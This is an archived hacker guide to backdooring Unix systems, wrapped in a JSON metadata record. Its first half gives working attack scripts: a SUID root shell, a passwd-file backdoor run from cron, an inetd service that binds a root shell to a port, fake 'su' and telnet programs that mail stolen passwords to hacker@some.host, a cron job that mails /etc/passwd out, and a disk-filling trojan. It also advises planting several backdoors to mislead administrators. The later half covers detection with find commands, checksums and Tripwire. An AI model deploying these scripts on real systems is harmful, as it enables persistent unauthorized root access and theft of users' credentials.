{
	"id": "d9703776-b430-44dd-ab43-ed857894af93",
	"created_at": "2026-04-06T01:32:08.891142Z",
	"updated_at": "2026-04-10T03:24:18.335305Z",
	"deleted_at": null,
	"sha1_hash": "4bcaa0ea749e55f9e9d29669df670aa5c4f7e569",
	"title": "backdoors",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 75847,
	"plain_text": "backdoors\r\nBy xyz\r\nArchived: 2026-04-06 01:12:01 UTC\r\n \r\nA guide to backdooring Unix systems\r\nby airwalk\r\nj0ker@rocketmail.com\r\nhttp://interscape.net-security.org\r\n \r\nIntroduction:\r\n-------------*\r\n \r\n \r\nwhen a hacker intrudes a system, he or she is confronted with a difficult task -- keeping access to that very same\r\nsystem. the intruder must know all weaknesses in order to exploit them and to gain constant access to the server.\r\nthis is not an easy task. a backdoor, or a trojan, is a program which gives access, permissions and/or privileges to\r\nhackers so they can keep 'owning' the targeted system. this, however, cannot be generalized; backdoors do many\r\ndifferent things, but their main goal is to keep giving access to restricted areas. there is a difference between a\r\nbackdoor (also called a trapdoor) and a trojan (also called a trojan horse): a backdoor is placed after a hacker has\r\nhacked his way into the system (it is only used to give further access to the intruder), while a trojan is a program\r\nwhich will give the hacker access independant to whether he/she already has access or not. basically, a trojan is\r\nused when a potential intruder has no more ideas on how to get into the system so he writes or uses an already\r\nwritten program to fool the administrator, or any other user, on the target system into giving him access and some\r\nother things (like allowing uploading/ downloading of files, etc...).\r\nin this article i will write about how one places and makes backdoors and simple trojans in the Unix system\r\nenvironment. i will present some techniques which might be of interest to administrators as well as to people on\r\nthe other side of the playground. having and keeping remote access to the system even long after the actual\r\npenetration is one of the biggest challenges in security of the Unix system.\r\nCases throughout the history:\r\n-----------------------------*\r\n'Historia est magistra vitae' (History is the teacher of life). throughout the history there have been many examples\r\nof hidden trojan horse and backdoor programs placed in free and even in commercial software. here are some\r\nimportant cases:\r\nthe Crackerjack case: a trojan horse was placed inside the code of this well-known Unix password cracker. other\r\nthan just cracking (brute-forcing actually) Unix passwords, the program also secretly reported the cracked\r\nhttp://www.ouah.org/backdoors.html\r\nPage 1 of 16\n\npasswords to the person who made the trojan horse. of course, the author immediately changed the code and made\r\na newer version.\r\nthe SATAN case: an early version of SATAN (1.0) had malicious code in one of the binaries shipped in the\r\npackage -- fping. whoever modified the code had physical access to the machines holding the code (at Temple\r\nUniversity). he/she altered the main() function in fping so that the program would also add a user entry to the\r\n/etc/passwd file (username: 'suser'). using that very same username, the programmer got remote access to\r\nmachines that had SATAN installed.\r\nthe quota trojan case: in 1996 a trojanized version of quota (a Unix tool for checking disk qoutas for users) was\r\ndistributed on the Internet. the trojan copied passwords and NIS maps and e-mailed them to the author of the code.\r\nthe ircII trojan case: back in 1994, ircII (Internet Relay Chat client) version 2.2.9 also had a trojan horse. basically,\r\nthe trojan gave access to systems to the author of the code.\r\nthe TCP Wrappers case: there was a trojan version of a popular Unix tool TCP Wrappers on the Internet. it sent an\r\ne-mail to the authors of the trojan upon compilation with the information which gave them root access to all hosts\r\nthat had TCP Wrappers installed.\r\nthe infamous Slackware backdoor: in Linux Slackware releases 3.2 and earlier, there was a package called\r\nsample_users.tgz. this file would install three users ('satan','gonzo' and 'snake') without passwords. this gave free\r\naccess to hackers.\r\nof course, these aren't all examples of backdoors and trojan horses on Unix systems -- these are just some of them\r\n(there have been many more, for example the wu-ftpd trojan horse). my point is, trojan horses are a big threat\r\nbecause they can be everywhere and they can do virtually anything.\r\nBackdoor techniques:\r\n--------------------*\r\nonce you penetrate a system, it is hard to get the root account again, if the admin found out that you hacked his/her\r\nsystem. you would then have to look out for new security holes, or you'd have to social engineer/trojan horse your\r\nway into the system. a technique used to avoid this, hence giving you root access again, is called backdooring.\r\nthere is a wide variety of backdoor techniques, going from simple ones like adding an entry to the /etc/passwd file,\r\nto more complex ones like opening a service daemon. the most used techniques by hackers are: the rhosts\r\nbackdoor (works by adding a string of '+ +' to the users' rhosts file, so that anyone from anywhere can rlogin or rsh\r\nhis way into the system), the login backdoor (a modified version of the Unix login program -- if an intruder types\r\nin a special backdoor password, regardless to what username he used, he would immidiately get a shell for that\r\nspecific user), telnet daemon backdoor (a modified version of the in.telnetd file, which allows access to hackers if\r\nthey have a specific terminal type (since the daemon checks for this in the process of initialization), like a special\r\nstring or password), services backdoor (new network serives, or old ones which are not being used, are replaced\r\nby backdoor services; usually a binded shell to a TCP port, which, when given a special password, gives access to\r\nhackers (actually, a modified version of inetd.conf)), network traffic backdoors (shells which very directly giving\r\noutput to a specified port, usually TCP, UDP and ICMP (since most firewalls allow ping packets to pass through\r\nthe network, this is a good idea for a message-transfer backdoor)), library backdoors (backdoors placed in library\r\nhttp://www.ouah.org/backdoors.html\r\nPage 2 of 16\n\nfiles (something like the DLL files on MS Windows machines) which would give access to intruders, such as\r\nmodifying the crypt() routine to pass specific passwords), cronjob backdoors (using the cron (a program which\r\nruns programs at a specific time and date), intruders could place shell backdoors to run at a specific time),\r\n/etc/passwd file backdoors (a simple backdoor -- placing a new user into the Unix /etc/passwd file with the root\r\nuser ID and with no password), the SUID shell backdoor (a copy of the root shell which gives root access to any\r\nuser who runs it -- this has a limit since you must have a non-root account on the system), etc... as you can see,\r\nthere are quite a lot of backdoor techniques. choosing which are the best and why depends on the system you want\r\nto exploit. in this section i will go through some techniques for placing and using backdoors in the Unix\r\nenvironment.\r\n* the SUID shell backdoor: i recommend the use of this technique only if you have constant non-root access to the\r\nsystem (ie. through another user). it is a copy of the root shell with the SUID flag bit set. what this means is that it\r\nwill run with root permissions, and will thus give you the root shell (#). here is a simple shell script which will do\r\nthe job for you, just remember to pick a safe place for the backdoor:\r\n--\r\n#! /bin/sh\r\ncp /bin/sh /tmp/.root_shell\r\nchmod 4755 /tmp/.root_shell # or 'chmod a+s /tmp/.root_shell'\r\n--\r\nof course, to be able to run this script (to install the backdoor) you must be root. the shell will the be copied to the\r\n/tmp directory under the name '.root_shell'. i recommend that you move it somewhere else if the system cleans the\r\ntemporary directory on a regular basis. you could rename the backdoor to '...', which would confuse an ordinary\r\nuser. to run the backdoor, simply type in './.root_shell' from your prompt, and you will become root (to check,\r\nmake a 'whoami' and a 'uid').\r\n* the /etc/passwd backdoor: this involves adding a user to the /etc/passwd file with root ID (0) and without a\r\npassword. you can do this manually. just remember to add all seven fields, and that your login and GECOS\r\ninformation looks normally. when you telnet or ftp to the machine (hence, when inetd calls the login program) you\r\nsimply type in your login and password (none), and you are immidiately dumped to the root shell. since this is a\r\nwell known technique, i recommend that you use a similar backdoor. copy the original /etc/passwd file to another\r\nplace on the system, hide it, and add your backdoor user. then make a back-up of the original /etc/passwd file,\r\nrepace it with your backdoored copy and get access. you can also make a time limit after which you will restore\r\nthe original passwd file.\r\n--\r\n#! /bin/sh\r\ncp /etc/passwd /etc/.temppass\r\ncp /tmp/.backdoor_passwd /etc/passwd\r\nsleep 60\r\nmv /etc/.temppass /etc/passwd\r\n--\r\nhttp://www.ouah.org/backdoors.html\r\nPage 3 of 16\n\nthis technique was introduced by daemon9 and is quite effective. it will put the backdoor password file instead of\r\nthe original one for one minute (of course, you can change the limit time using the 'sleep' command) and will then\r\nrestore the changes. however, it relies on one important factor -- the cron. there should be an entry in the\r\n/var/spool/crontab/root file:\r\n--\r\n14 0 * * * /bin/usr/backdoor_password\r\n--\r\nthe backdoor_password is your shell script (above). the script will run every night at 00:15. this means that you\r\nhave access to your machine at that time. the other fields are left with an asterisk (*) so that the script runs on a\r\ndaily basis. another cron-like backdoor could send you the /etc/passwd file every day or week. this would give you\r\ninformation about new accounts, services, etc... and give you a status on how your backdoor account (if you\r\ncreated one) is doing. a simple example (using the same cron entry as the example above) is here:\r\n--\r\n# !/bin/sh\r\ncp /etc/passwd /etc/.temppass\r\ncat /etc/.temppass | mail hacker@address.com\r\nrm /etc/.temppass\r\n--\r\n* the inet daemon/services backdoor: this is another widely used backdoor technique. basically, there are two\r\ntechniques here -- one involves exploiting a service which has not been used for a while, and the other involves\r\nmaking your own new service. but, before i continue, i should explain the construction of the /etc/services and\r\n/etc/inetd.conf files. first, here is a sample /etc/services file from a Digital Unix 4.0 system (did is just a partial\r\npaste, since that very same system had a lot of active services):\r\n--\r\necho 7/tcp\r\necho 7/udp\r\ndiscard 9/tcp\r\ndiscard 9/udp\r\nsystat 11/udp\r\ndaytime 13/tcp # Day-time Daemon TCP\r\ndaytime 13/udp # Day-time Daemon UDP\r\nnetstat 15/tcp\r\nquote 17/udp\r\nchargen 19/tcp\r\nchargen 19/udp\r\nftp 21/tcp\r\ntelnet 23/tcp\r\nsmtp 25/tcp # Simple Mail Transfer Protocol Daemon\r\nhttp://www.ouah.org/backdoors.html\r\nPage 4 of 16\n\ntime 37/tcp\r\ntime 37/udp\r\nname 42/tcp\r\nwhois 43/tcp\r\nauditd 48/tcp # Digital Audit Daemon\r\n--\r\n \r\nthe first field here indicates the name of the service (remember that we're talking about network services), the\r\nsecond one indicates the port which the specific service uses and the protocol type (TCP or UDP) and the last field\r\nis just a commentary field.\r\nnote: to programatically find out which service belongs to each port you can use the getservicebyname() system\r\ncall.\r\nnow that you know how the /etc/services looks like, we can proceed the the /etc/inetd.conf (the Internet Daemon)\r\nfile from the same host (Digital Unix 4.0, again just a partial paste):\r\n--\r\nftp stream tcp nowait root /usr/local/tcpw/tcpd ftpd -dl\r\ntelnet stream tcp nowait root /usr/local/tcpw/tcpd telnetd\r\nshell stream tcp nowait root /usr/local/tcpw/tcpd rshd\r\nlogin stream tcp nowait root /usr/local/tcpw/tcpd rlogind\r\nexec stream tcp nowait root /usr/local/tcpw/tcpd rexecd\r\nfinger stream tcp nowait root /usr/local/tcpw/tcpd fingerd\r\ntftp dgram udp wait root /usr/sbin/tftpd tftpd /tmp\r\ncomsat dgram udp wait root /usr/sbin/comsat comsat\r\ntalk dgram udp wait root /usr/sbin/talkd talkd\r\n--\r\nthe first row indicates the name of the daemon (from the /etc/services file). this tells the inet daemon what to look\r\nfor in the services file to see what port to use with that network service. the next field indicates the type of socket\r\nconnection (stream type or datagram type). next we have the protocol field (again, TCP (for stream connections or\r\nUDP for datagram connections), then the information about delaying the connection (if wait is specified then the\r\nserver will process all subsequent connections received on the socket, and if nowait is specified, then the system\r\nwill fork() and exec() a new server process for each additional datagram or connection request. usually, UPD is set\r\nto wait, and TCP to nowait although there are exceptions), then what user will execute the daemon (usually root)\r\nand then the location of the program which will keep the connection. finally, the last field indicates the actual\r\ncommand which has to be executed when the specific service needs to be used (usually a syntax with parameters\r\nif required).\r\nas i said, there are two methods for this backdoor -- backdooring a service which isn't used often, or making your\r\nown new service. first, we will use a service which already exists. go to the /etc/services file and pick a service\r\nthat you think isn't used that much (don't use telnet, ftp, smtp, etc...). now go to the inetd.conf file and fill in the\r\ncorrect information for that service (or change the information if it already exists in the file): first the name of the\r\nhttp://www.ouah.org/backdoors.html\r\nPage 5 of 16\n\nservice, then stream, then the protocol (TCP), then nowait, then the user which will execute the program (root of\r\ncourse), then the location of the backdoor (which is actually the shell -- /bin/sh) and finally the program with the\r\ncorresponding parameter -- 'sh -i'. here is an example:\r\n--\r\ndiscard stream tcp nowait root /bin/sh sh -i\r\n--\r\n(don't use discard since it is used often and is therefore a bad example) now, for these changes to take effect, you\r\nhave to restart the Internet daemon (using the command 'killall -HUP inetd' -- of course, for all of this you have to\r\nbe root). to try this out, since the discard port is 9 (you can get that from /etc/inetd.conf), you can telnet to port 9\r\nof your victim's host and you will get a root (#) shell. the second method is even better since you're making a new\r\nservice (and not using an existing one -- therefore eliminating the risk of being caught). what you need to do is\r\nfind a place between two port in the /etc/services file (like quote is 17 and chargen is 19, so you can place a\r\nbackdoor with the port number 18 in between). next name the service and put its protocol type TCP. a partial paste\r\nof the modified /etc/services file would then look like this:\r\n--\r\nquote 17/udp\r\nbackdoor 18/tcp\r\nchargen 19/tcp\r\n--\r\nnow go to the /etc/inetd.conf file and repeat the process as for method 1 (the entry for the new service backdoor\r\nwould look like this):\r\n--\r\nbackdoor stream tcp nowait root /bin/sh sh -i\r\n--\r\nand again you have to restart the inetd in order for this to work and to test it out telnet to port 18 and you will get a\r\nroot shell.\r\n* a modified version of the login program: this is another backdoor which is commonly used in the Unix system\r\nenvironment. since Unix is open-source, a lot of programs on the systems have their source somewhere. hackers\r\nmade a modified version of the login program which would give them the root shell if they typed in the specified\r\npassword and replaced it with the original program. such an example is provided with this article (see the\r\nAppendix section).\r\nthese were the basic backdoors and the most commonly used ones. i recommend using a few of them at the same\r\ntime -- placing root SUIDs on a couple of places on the system, enabling two or three services and putting a new\r\nbackdoored user in the /etc/passwd file. this will confuse the admin, if he/she finds one of them, into thinking that\r\nthe system is secure after removing the backdoor (however, you still have a few left).\r\nTrojan horse techniques:\r\n------------------------*\r\nhttp://www.ouah.org/backdoors.html\r\nPage 6 of 16\n\nunlike backdoors, trojan horses are used to get initial access to systems. basically, the use goes a long way back to\r\nthe time of Troy when the Greeks used a big wooden horse which, presented as a gift, was used to get inside the\r\ntown.\r\nwhat makes trojan horses work is naive users. making them depends only on your imagination and only\r\nknowledge is the limit. one of the oldest type of trojan horses on the Unix system was a modified version of the\r\nlogin program. when the users gave their information (login and password) the program would let them in and at\r\nthe same time send an e-mail containing that very same information to the hacker. i will not go into detail with\r\ntrojan horses as their use can be huge. what i will do is give you a couple of examples of how they can be used to\r\nget crucial information from users.\r\n* the su trojan: this type of trojan horse is used a lot for getting the root's password. here is an example shell script\r\nwhich will do this for you:\r\n--\r\n#! /bin/sh\r\nstty -echo\r\necho -n \"Password:\"\r\nread PASSWD\r\nstty echo\r\necho\r\necho \"Sorry\"\r\necho \"$1 / $2: $PASSWD\" | mail hacker@some.host\r\nrm $0\r\nkill -9 $PPID\r\n--\r\nfor this to work, you have to name it 'su' and place it into a user's home directory where that user will execute it.\r\nhowever, you must also change that user's PATH variable. this must be done in order for the system to execute the\r\ntrojan horse. there are a couple of ways of doing this: (1) you can change the variable in the user's .profile\r\n(.bash_profile) or .login file, or (2) you can customize the PATH environment by doing this (as an example i'm\r\nusing the root account for the trojan horse):\r\n--\r\n# PATH=.:/usr/bin:/bin:/usr/local/bin:/sbin:\r\n/usr/sbin:/usr/X11R6/bin\r\n# export PATH\r\n--\r\nnotice the dot (.) before the /usr/bin directory. this tells the system to look in the user's current directory for the\r\nspecified command/program (note: on some systems you have to give the trojan horse shell script execute\r\npermissions if the system doesn't do it automatically).\r\nafter the user runs this script it will prompt him/her for a password. it will then say that they typed a wrong\r\nhttp://www.ouah.org/backdoors.html\r\nPage 7 of 16\n\npassword, but will send an e-mail to hacker@some.host along with that password and will then delete itself and\r\nremove itself from the process list.\r\n* the telnet trojan: this is used if you want to get more hosts and their passwords. since most Unix users use their\r\nshell accounts to telnet to other systems, this might be a suitable idea to fish for more accounts. here is an example\r\nscript:\r\n--\r\n#! /bin/sh\r\necho \"Trying $1...\"\r\nsleep 1\r\necho \"Connected to $1.\"\r\necho \"Escape character is '^]'.\"\r\necho \" \"\r\necho -n \"$1 on Linux 2.0.34, \"; date +%x\r\necho \" \"\r\necho -n \"login: \"\r\nread ID\r\necho -n \"Password: \"\r\nread PW\r\nsleep 1\r\necho \"Login incorrect\"\r\necho \" \"\r\necho -n \"login: \"\r\nread ID2\r\necho -n \"Password: \"\r\nread PW2\r\nsleep 1\r\necho \"Login incorrect\"\r\necho \" \"\r\necho -n \"login: \"\r\nread ID3\r\necho -n \"Password: \"\r\nread PW3\r\necho \"Host $1, TRY 1: user $ID and password $PW, TRY 2: user $ID2 and password $PW2,\r\nTRY 3: user $ID3 and password $PW3.\" | mail hacker@some.host\r\nsleep 1\r\necho \"Login incorrect\"\r\necho \"Connection closed by foreign host.\"\r\nrm $0\r\nkill -9 $PPID\r\n--\r\nhttp://www.ouah.org/backdoors.html\r\nPage 8 of 16\n\nthis acts as a real telnet program since it loops three times and then dumps you back to your shell. of course, this\r\nrelies on careless users because the program only guesses that the machine they're telneting to is a Linux 2.0.34\r\n(therefore, this technique isn't good against smart users).\r\nthe good thing here is that the program e-mails all three tries of logging in (just in case that the user really made a\r\nmistake when typing in the password). again, the program deletes itself and for it to work you must modify the\r\nPATH variable so that is first loads programs from the current user's directory.\r\n* using existing programs for trojan horses: this is a very common method. what you must do is put a simple line\r\nsomewhere in the C source code of the desired program (if you have the source code) which will, if the program is\r\nexecuted by the root account, do a specific action:\r\n--\r\nif ( !strcmp(getlogin(),\"root\") ) system(\"chmod 666 /etc/passwd\");\r\n--\r\nso, you put this code into a program, recompile it and every time the root account loads this program, it will do a\r\n'chmod 666 /etc/passwd' -- give write permissions to the /etc/passwd file to all users. you can change this to\r\nwhatever you wish, for example you can create a root SUID shell using the system() call or you can reboot the\r\nsystem, etc...\r\n* nasty trojan horses: some people like to use trojan horses to further demolish the system. some do it for fun,\r\nsome for profit. one of the favourite 'nasty' trojans are used to fill up system space which will effectively slow\r\ndown most Unix servers. here is a Perl example of such a trojan:\r\n--\r\n#! /usr/local/bin/perl\r\n$SIZE=shift(@ARGV);\r\n$LIST=\"\";\r\nopen (FILE, \"\u003e megfile\");\r\n{\r\nfor ($CNT = 0; $CNT \u003c 100000; $CNT++ )\r\n{ print FILE \"**********\"; }\r\n}\r\nclose(FILE);\r\nfor ($CNT = 0; $CNT \u003c $SIZE; $CNT++ )\r\n{ $LIST=\"$LIST megfile\" }\r\n`cat $LIST \u003e ${SIZE}_mBytes`;\r\necho \"Unknown error.\"\r\nrm $0\r\nkill -9 $PPID\r\n--\r\nhttp://www.ouah.org/backdoors.html\r\nPage 9 of 16\n\nfor this to work, you must pass an argument: file name. therefore, you can disguise this trojan horse as a program\r\nwhich needs a file name argument to be run (such as copy, rename or find, etc...). it will fill the specified file with\r\nlots of asterisk symbols (*) -- up to 100 mega bytes. then it will name the file with the pattern: name_mBytes. i\r\ndon't find these kinds of trojans useful. however, some people may find them interesting and useful in situations\r\nsuch as revenge, etc... a solution to this (for the system administrators) is to set up a cronjob script which would\r\nmonitor disk space every couple of hours and then send an urgent e-mail to the root account if the specified size of\r\nthe hard drive was used up (a simple check-up for disk drive free space: 'df -k | awk '{print $6\"\\t\"$4}'). here is\r\nsuch an example script:\r\n--\r\n#! /bin/sh\r\ndf -kl | grep -iv filesystem | awk '{print $6\" \"$4}' | while read LINE; do\r\nFSPC=`echo $LINE |awk '{print $2}'`\r\nif [ $FSPC -lt 100000 ]; then\r\necho \"`date` - ${LINE} space left on `hostname`\" \u003e\u003e /var/log/df.log\r\nfi\r\ndone\r\n--\r\nthis script puts a log into the /var/log/df.log file when a filesystem drops below 100 MB (this can easily be\r\nchanged so it e-mails the alert to the root account). when placed to the crontab this could be a life saver for system\r\nadministrators, especially in this situation of a space-filling trojan horse program.\r\ntrojan horses have many different uses and it all depends on what your goal is. some find these programs useful\r\nfor snarfing passwords, and other valuable information, while some use them for harassing the system.\r\nDetection programs:\r\n-------------------*\r\nlet's face it. backdoors and trojan horses aren't always detected. in fact, a small amount of them are found. the\r\nusers are the biggest problem. most users on various Unix-like servers are begginers on this field and can, thus, be\r\nfooled by malicious programs. as i said, a very common backdoor is a SUID copy of the root shell. this is not a\r\nfull-proof hacker technique and can be discovered quickly, using the 'find' command:\r\n--\r\n# find / -type f \\( -perm -4000 -o -perm -2000 \\) -ls\r\n--\r\nthis tells 'find' to list all normal files (the 'f' parameter) with the SUID (4000) or SGID (2000) bits set. this works\r\non a pattern of excluding files (since SUID programs have an 's' instead of an 'x' in the root field of their\r\npermissions). if you have an NFS-mounted filesystem, you can exclude it from the search by the following\r\ncommand:\r\n--\r\n# find / -local -type f \\( -perm -4000 -o -perm -2000 \\) -exec ls -ld '{}' \\;\r\nhttp://www.ouah.org/backdoors.html\r\nPage 10 of 16\n\n--\r\nthis solves only one possible backdoor. there are a lot more, and protection is weak here. the next example is a\r\nsimple checklist mechanism:\r\n--\r\n#! /bin/sh\r\ncat /usr/adm/file_list | xargs ls -ild \u003e /tmp/now\r\ndiff -b /usr/adm/save_list /tmp/now\r\n--\r\n \r\nthe file /usr/adm/file_list contains a list of files to monitor. the -i option adds the inode number in the listing. the -d\r\noption includes directory properties, rather than contents (if the entry is a directory).\r\na better version of the above (since it does not give us a lot of information) uses the powerful find command:\r\n--\r\n#! /bin/sh\r\nfind `cat /usr/adm/file_list` -ls \u003e /tmp/now\r\ndiff -b /usr/adm/save_list /tmp/now\r\n--\r\n \r\nthis will also disclose if files have been added/deleted to any of the specified directories (from the\r\n/user/adm/file_list). this script can furthermore be exanded by the use of an MD5 checksum generating program\r\n(for this example, we will call it 'md5'):\r\n--\r\n#! /bin/sh\r\nfind `cat /usr/adm/file_list` -ls -type f -exec md5 {}\\; \u003e /tmp/now\r\ndiff -b /usr/adm/save_list /tmp/now\r\n--\r\nsince another common backdoor is placing a new user with the UID 0 into the /etc/passwd file, a recommended\r\naction is to check that file for such users (which have the UID of 0, have less then seven fields or do not have a\r\npassword):\r\n-- # cat /etc/passwd | awk -F: 'NF != 7 || $3 == 0 || $2 == \"\" { print $1 \" \" $2 \" \" $3}'\r\n--\r\nthis will bring up all usernames which correspond to the above pattern. these scripts are quite primitive, and are\r\nnot so reliable. a perfect system cannot exist. however, detection programs exist and they are helpful. such a\r\nprogram is Tripwire. in this chapter i will explain what it does and how to use it to make the most out of\r\nfilesystem monitoring. Tripwire, created by Eugene Spafford and Gene Kim at Purdue University in 1992, is an\r\nhttp://www.ouah.org/backdoors.html\r\nPage 11 of 16\n\nintegrity checking tool designed to monitor the Unix filesystem in order to find any unauthorized modification. it\r\nis particularly useful for finding viruses, worms, logic bombs, backdoor and trojan horses which intruders might\r\nleave for future use. since most Unix distributions have thousands of files in their basic installations, there isn't a\r\npractical way to check for all files after an intrusion. reinstalling the system isn't always a good idea, especially if\r\nyou don't make back-ups (which i strongly suggest to any Unix system administrator). Tripwire works by taking\r\n'fingerprints' of files and storing them in a database. after the intrusion, when run, it will check and compare the\r\nfiles' current fingerprints against the original ones from the database. all files which have been added, deleted\r\nand/or modified are displayed to the admin. Tripwire is good because it is fast. it uses a wide variety of signature\r\nalgorithms or one-way hash functions. such are: RSA Data Security Inc.'s, MD5 (Message Digest 5), MD4 and\r\nMD2, Snefru (Xerox Secure Hash Function), SHA (Secure Hash Algorithm), Haval code and two conventional\r\nCRC (the Cyclic Redundancy Check -- 32-bit and 16-bit).\r\nthe default setup will record two signatures for each database entry (each file). for a hacker, this is very difficult to\r\ncover. the authors tested over 250,000 files on five computers for duplicate signatures. while the 16-bit CRC\r\nproduced approximately 25,000 collisions, 128-bit MD4, MD5 and Snefru produced none (all of this can be found\r\nin a great document concerning the development of Tripwire: \"The Design and Implementation of Tripwire\" by\r\nEugene H. Spafford and Gene H. Kim).\r\nTripwire is highly portable -- there is a version for almost every Unix distribution. the database is encoded as\r\nASCII text which makes is easy to print and to manually edit with different text-processing programs. Tripwire is\r\nvery fast, accurate and can work in a network environment (it can be set up to cover thousands of machines even\r\nfrom a basic installation).\r\nwhen first run, Tripwire crates the baseline database of signatures. each time after that, it uses its config file\r\n(tw.config) to generate a new signature database. the program then compares the previous database with the new\r\none and gives you a report. here is a graphical demonstration of how it works:\r\n--\r\ntw.config -- generate --\u003e new database\r\n|\r\nbaseline |\r\ndatabase --------------\u003e compare\r\n|\r\napply options\r\n|\r\nreport\r\n--\r\nTripwire has four modes of operation:\r\n* Database Generation: this mode produced the baseline database (for future comparing). * Integrity Checking:\r\nthis is the main mode (the files are being checked against the baseline database).\r\n* Database Update and Interactive Update: these two modes have a number of options which can be helpful in\r\norder to prevent reporting of some files which are constantly changing. an example here would be the /etc/passwd\r\nfile. if you're running a big system with lots of users, which are being added every day or week, then you might\r\nwant to exclude this file from signature checking, since it will always be displayed as changed or modified.\r\nhttp://www.ouah.org/backdoors.html\r\nPage 12 of 16\n\nhowever, attackers might leave a simple user backdoor in your /etc/passwd file, so i suggest that you make a shell\r\nscript which will make a back-up of your password file upon the addition of new users (so it uses the command\r\n'adduser' and makes a copy of the /etc/passwd file (or any other) with the extension being the date of the back-up).\r\nthe tw.config file is a good resource which will give exact information on which files are being processed and\r\nwhich flags/attributes they have. each entry in this file has its selection mask. the next table shows Tripwire's\r\nselection masks:\r\nFlag: Description:\r\n-----*--------------------------------------*\r\n- ignore the following attribute\r\n+ include the following attribute\r\np permission bits\r\ni inode number\r\nn number of links\r\nu owner's user ID\r\ng owner's group ID\r\ns file size\r\na access timestamp\r\nm modification timestamp\r\nc inode creation/modification timestamp\r\n \r\nnote: an inode is a structure in which Unix stores administrative information about a file (item location, item's type\r\n(file/directory/link, etc...), item's size in bytes, ctime (the time the file's inode was last modified), mtime (the time\r\nthe file's contents were last modified, atime (the time the file was last accessed (for read(), exec(), etc...), reference\r\ncount (the number of names the file has), UID, GID and the file's mode bits (permission bits)).\r\nsince these flags are complex, the designers made a few templates which cover most things an average\r\nadministrator needs:\r\nLetter: Template purpose: Template selection masks:\r\n-------*------------------*--------------------------*\r\nR read-only files +pinugsm12-ac3456789\r\nL log files +pinug-sacm123456789\r\nN ignore nothing +pinugsamc123456789\r\nE ignore everything -pinugsamc123456789\r\n\u003e growing log files +pinug\u003esamc123456789\r\nnote: the tamplates can also be mixed with selection masks (such an example would be R-2, which indicates a\r\ndefault check (read-only files) but without the use of Snefru).\r\nTripwire uses the R template by default. an example would be: if the entry for /home/bjames looks like this (in the\r\ntw.config file):\r\nhttp://www.ouah.org/backdoors.html\r\nPage 13 of 16\n\n--\r\n/home/bjames R\r\n--\r\nthen the selection masks for that directory are actually:\r\n--\r\n/home/bjames +pinugsm12-ac3456789\r\n--\r\nthis simplifies work. in the above example, Tripwire will report any changes in mode bits, inode number, reference\r\ncount, UID, GID, file size, modification timestamp and the MD5 and Snefru signatures (1 and 2). it will\r\nignore/exclude changes to the access and inode timestamps and the use of all other signatures. this brings us to\r\nanother table, the Tripwire signature numbers (the numbers upon which Tripwire compares the entries in the\r\nbaseline database (they are also stored in the tw.config file)):\r\n \r\nNumber: Signature:\r\n-------*------------------------*\r\n0 null signature\r\n1 MD5\r\n2 Snefru\r\n3 CRC (32-bit)\r\n4 CRC (16-bit)\r\n5 MD4\r\n6 MD2\r\n7 SHA\r\n8 Haval (128-bit)\r\n9 reserved for future use\r\nMD5 and Snefru are used the most. there are two more operators which make filesystem monitoring more\r\nconfigurable. if an exclamation mark ('!') is placed before an entry in the tw.config file, if the entry is a file it is\r\nignored. the same applies if the entry is a directory -- all the files in it are ignored. if a '=' sign is placed before an\r\nentry, if the entry is a file Tripwire does nothing. if the entry is a directory, its contents won't be monitored but the\r\ndirectory itself will.\r\nTripwire is not hard to install, so i will not get into that. what i will do is give you a couple of tips on how to make\r\nmonitoring easier. using the command 'tripwire -initialize', you run the Database Generation mode. this will create\r\nthe baseline database in a default directory './databases', under the file tw.db_yourHostname ('yourHostname' is\r\nreplaced with your machines' hostname). to run Tripwire in the Interactive Mode, use the command 'tripwire -\r\ninteractive'. this mode prompts you to update the database each time Tripwire finds a file or directory that has\r\nbeen added, deleted or changed. to use the Database Update mode (this provides a fast way of updating database\r\nentries on the command-line), run the command including the '-update' parameter and what file/directory you wish\r\nhttp://www.ouah.org/backdoors.html\r\nPage 14 of 16\n\nto update. for example:\r\n \r\n--\r\n# tripwire -update /home/bjames/my.file\r\n# tripwire -update /home/bjames\r\n--\r\nthe first command updates on the 'my.file' in the 'bjames' home directory. the second one updates the whole\r\ndirectory with all the files in it.\r\nto make Tripwire more efficient, i recommend that you run it once a day, using cron. you can even make Tripwire\r\ninto mailing you the report (something like 'tripwire | /bin/mail root' command). to make checking faster, you can\r\nexclude specific signatures. for example, 'tripwire -i 2' uses only the Snefru signature (and not the MD5 like\r\ndefault). Tripwire won't check mounter partitions, so count on that if you want to check them too. if you want to\r\nsee which files Tripwire is working on, use the 'tripwire -v' command.\r\n* a sample filesystem check:\r\n \r\n--\r\nTripwire(tm) Intrusion Detection Software v1.3\r\nThis release is for single CPU, single-site, end-use\r\npurposes. For commerical applications or product\r\ninformation, please visit the Visual Computing Corporation\r\nweb site at http://www.visualcomputing.com/tripwire, or\r\ncall us at (503) 223-0280.\r\nTripwire(tm) Copyright 1992-98 by the Purdue Research\r\nFoundation of Purdue University, and distributed by Visual\r\nComputing Corporation under exclusive license arrangements.\r\n### Phase 1: Reading configuration file\r\n### Phase 2: Generating file list\r\n### Phase 3: Creating file information database\r\n### Phase 4: Searching for inconsistencies\r\n###\r\n### Total files scanned: 37024\r\n### Files added: 7\r\n### Files deleted: 8\r\n### Files changed: 22\r\n### ### Total file violations: 37\r\n--\r\n \r\nhttp://www.ouah.org/backdoors.html\r\nPage 15 of 16\n\none more thing -- be sure to secure Tripwire's databases. these are hacker targets and are very valuable to you as\r\nthe system administrator. Tripwire is a very powerful tool, use it correctly and you will make the most out of\r\nbackdoors and trojan horse checking. there are a couple of Tripwire clones on the Internet. such an example is\r\nSlipwire, coded in Perl. other, similar programs are ATP (the Anti-Tampering Program), Hobgoblin (by Farmer\r\nand Spafford), etc...\r\n \r\n \r\nAppendix:\r\n---------*\r\ni have included the following files along with this article: slipwire.pl (the Slipwire perl script for filesystem\r\nintegrity checking) and trojans_c.zip (a collection of some useful Unix trojans and backdoors written in C).\r\nslipwire.pl - http://net-security.org/default/08/slipwire.pl\r\ntrojans_c.zip - http://net-security.org/default/08/trojans_c.zip\r\nConclusion:\r\n-----------*\r\nplacing backdoors is the key to having constant access to a system. this is a primary mission for each hacker if\r\nhe/she wants to keep the root account. on the other hand, system administrators should be careful and should, thus,\r\nrun filesystem integrity checkers, such as Tripwire, on a daily basis -- this is the only powerful tool against\r\nbackdoors and trojan horses.\r\nDisclaimer:\r\nSource: 